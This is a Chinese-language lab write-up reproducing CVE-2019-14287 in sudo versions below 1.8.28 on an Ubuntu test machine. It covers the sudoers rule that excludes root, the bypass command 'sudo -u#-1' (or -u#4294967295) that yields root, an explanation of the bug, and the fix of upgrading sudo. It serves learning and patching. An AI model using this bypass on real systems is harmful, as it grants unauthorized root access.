(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
该复现参考网络中的文章,该漏洞复现仅仅是为了学习交流,严禁非法使用!!!
一、简介
sudo:Linux系统命令,让普通账号以root身份去执行某些命令,如,安装软件、查看某些配置文件、关机、重启等操作,如果普通账号需要使用sudo需要修改配置文件/etc/sudoers,将sudo使用权限赋予该账号
- sudo提权漏洞是一个安全策略绕过问题,去执行某些敏感的命令,CVE编号是CVE-2019-14287,影响的版本是:<1.8.28
二、漏洞复现过程
靶机:Ubuntu 18 x64系统
1.查看sudo版本,并创建test用户
1 sudo -V 查看sudo版本 2 useradd test 添加test用户 3 passwd test 为test用户设置密码
2.修改sudo配置文件:在root ALL=(ALL:ALL) ALL下面添加一行配置test ALL=(ALL,!root) ALL
sudo gedit /etc/sudoers 使用文本编辑器打开sudo配置文件
1 test ALL=(ALL,!root) ALL 2 test 表示test用户 3 第一个ALL表示该用户可以在任意地方使用sudo 4 第二个(ALL,!root) 表示命令可以被除了root以外的任意用户执行 5 最后一个ALL 表示被允许执行
- 整体表示:test用户可以使用sudo,以除了root以外的任意用户去执行命令
3.切换到test用户,su test,然后进行测试
sudo id 查看root用户的ID
- 由上图可以看到,使用命令报错
- 解决方法:sudo -u#数字 命令,其中数字是范围:-1~4294967295,命令是系统命令
- 如果要以root身份去执行命令,数字使用-1或4294967295,至此漏洞复现成功!!
- 命令中的数字是id号,可以在/etc/group中查看
- 解释:使用 sudo -u#id 指定用户 id 去执行命令,由于可以指定id,所以可以使用-u#-1或者-u#4294967295绕过限制,从而以root身份去执行任意代码。这是因为 sudo 命令本身就已经以用户 ID 为0运行,因此当 sudo 试图将用户 ID 修改成-1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令
(解释来源于https://www.cnblogs.com/-mo-/p/11683402.html,很详细感谢!!!)
三、总结:该漏洞复现比较鸡肋,需要管理员修改配置文件
四、修复方法:更新sudo版本1.8.28